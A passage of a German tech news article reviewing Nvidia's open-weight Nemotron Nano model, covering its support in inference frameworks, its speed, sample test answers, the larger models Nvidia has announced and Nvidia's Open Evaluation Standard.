Sowohl vllm als auch SGLang unterstützen das neue Nemotron-Modell bereits. Aber auch mit llama.cpp lässt sich das Modell verwenden, da die Architektur mit den Mamba-Layern so ähnlich schon in Qwen3-Next vorkam. Damit lässt sich das Modell auch mit moderater Hardware ausführen und funktioniert ohne GPU auf der CPU in akzeptabler Geschwindigkeit.

Bei der Frage nach dem Heise-Verlag antwortet das Modell etwas zu kreativ, aber immerhin in korrekter deutscher Sprache:



Die ganze Antwort findet sich hier.

Die Anzahl der „e“ in „Erdbeere“ kann das Modell hervorragend zählen und antwortet kurz und knapp – sehr viel knapper als fast alle anderen bisher getesteten Modelle:



Die Geschwindigkeit von Nemotron-Nano ist hoch, auf einem MacStudio (M2 Ultra) erreicht es etwa 80 Token/s beim Generieren von Antworten.

Die noch nicht veröffentlichten größeren Nemotron-Modelle sollen noch mehr Tricks auf Lager haben. Nvidia kündigt etwa LatentMoE an und erklärt, dass das damit verbundene Design der Expert-Layer auf die Hardware optimiert wurde. Das wird wie das verwendete NVFP4-Format dann wohl nur gut mit Nvidia-GPUs funktionieren. Denn diese Fähigkeiten unterstützen nur die neueste Hardware-Generation von Nvidia.

Multi-Token Prediction beherrschen schon einige Modelle, auch das sollen die Super- und Ultra-Modelle dann können. Nvidia verspricht sich davon eine verbesserte Generierung langer Texte und eine insgesamt höhere Modellqualität. Noch ist nicht bekannt, wie groß die weiteren Modelle sein werden und wann mit ihnen zu rechnen ist – Nvidia spricht von „in den nächsten Monaten“.

Nvidia hat geliefert. Mit der Nemotron-Familie ist bereits in der kleinsten Nano-Version (endlich!) ein Modell verfügbar, das den chinesischen Anbietern von Open-Weight-Modellen Konkurrenz macht. Glaubt man Nvidias Auswertungen, ist das eigene Modell aktuell führend, wenn man die Kosten pro Token im Vergleich zu der Genauigkeit betrachtet (Grenzlinie von Genauigkeit-Inferenz-Durchsatz). Gleichzeitig ist das Modell mit offenen Gewichten verfügbar und kann kommerziell genutzt werden. Zusätzlich hat Nvidia einen Großteil der Trainingsdaten veröffentlicht und schafft damit fast ein Open-Source-Modell. Es wird spannend zu sehen, wie gut die angekündigten größeren Modelle sein werden.

Ganz aktuell hat Nvidia auch das Framework veröffentlicht, mit dem sie die Performance der Modelle gemessen haben; auch das steht frei zur Verfügung und heißt Open Evaluation Standard. Dies ist sicher ein weiterer Beitrag zur Transparenz der Modelle und motiviert vielleicht auch andere Anbieter, damit ihre Modelle zu benchmarken.


(pst)



Source link

Weiterlesen

Beliebt